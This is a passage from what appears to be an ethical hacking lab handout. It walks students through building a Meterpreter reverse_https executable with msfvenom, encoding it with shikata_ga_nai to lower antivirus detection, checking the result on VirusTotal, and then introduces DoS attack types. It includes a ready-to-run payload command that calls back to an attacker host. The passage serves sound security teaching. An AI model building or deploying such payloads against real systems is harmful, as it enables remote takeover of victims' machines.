. If you want to learn more about msfvenom, refer to

LHOST (Local Host): Specifies the attacker's IP address. When the victim runs this executable, it will establish a connection to that IP address. The IP address is 10.10.10.10. It is a randomly selected IP, and you will not connect to that IP in this lab.

LPORT (Local Port): Specifies the port on which the attacker machine (10.10.10.10) will listen to incoming connections from the victim machine. In this example, when the victim runs the executable, the victim's computer will create a connection to port 443 at the attacker machine (10.10.10.10). After the victim makes a connection to the attacker machine, the attacker can start performing malicious activities, including controlling the victim machine, accessing sensitive information, deleting files, etc.

Using port 443 in this malicious activity is the safest way for hackers because it is one of the ports that is not blocked by the firewalls and routers on the Internet and LANs (Local Area Networks). It is the default port for TLS traffic. (Mostly encrypted web traffic)

Msfvenom uses reverse_https payload to create a malicious file. The malicious file will then make a reverse https connection between the victim's and the attacker's computers once initiated by the victim.

6) On the file tab, click on the File icon

7) In the open dialog box, click on the home button at the left menu

8) Select ethical.exe and click the OK button

9) On the VirusTotal screen, click on the “Confirm upload” button

Review the results. Notice how antivirus vendors label the file you created.

Take a screenshot of the VirusTotal result page showing the detection ratio graphic at the top left of the page and some vendor results.

Method-2: Create an encoded malicious file by using msfvenom

In this part, you will incorporate encoding to reduce the detection ratio by antivirus vendors. Please continue working at Kali VM hosted on your computer.

1) Type msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -e x86/shikata_ga_nai -f exe -o ethical-encoded.exe at the terminal screen.

You can copy and paste the command.

Note: shikata_ga_nai is one of the popular encoders used by Metasploit Framework. It is also known as SGN. Shikata Ga Nai means “nothing can be done” in Japanese. It implies that antivirus vendors will not be able to detect the file encoded by this SGN. However, this was at the time it was created. Today, most of the vendors label the file as malicious.

2) After running this command, a file named ethical-encoded.exe will be created.

3) Upload the file to VirusTotal and review the results. Notice how antivirus vendors label the file you created and how it changed after encoding.

), pyinstaller ( ), or iSMET ( ).

Section-2: Denial of Service (DoS) Attack

DoS attacks make computer or network resources (such as CPU, RAM, Bandwidth) unavailable to the users. A DoS attack can be performed by sending legitimate packets to the target computer or network excessively to keep the target busy with your requests. Sending a malformed packet to crash the remote system is just another example of a DoS attack. There are many different kinds of DoS attacks. Slowloris, GET floods, Hashdos, Slow POST are DoS attacks use the application layer. SYN flood, UDP flood, teardrop attacks are transport layer attacks. Ping flood and ping of death attacks occur at the network layer.

If a DoS attack has been made by many computers/devices, it is called Distributed DoS (DDoS). Smurf is a DDoS attack type in the Network layer in which spoofed ICMP packets (ping requests) are sent to many computers on the Internet. Because the source IP address of the spoofed packet is the victim's IP address, all ping responses go to the victim and cause the victim to respond slowly or crash.

You can check this page to see how any organization, including the largest ones, can be a victim of DDoS attack and how a DDoS attack can be dangerous:

In this section, you will perform two DoS attacks: a SYN flood attack and an ICMP flood attack. You will use the Netlab environment to complete this section.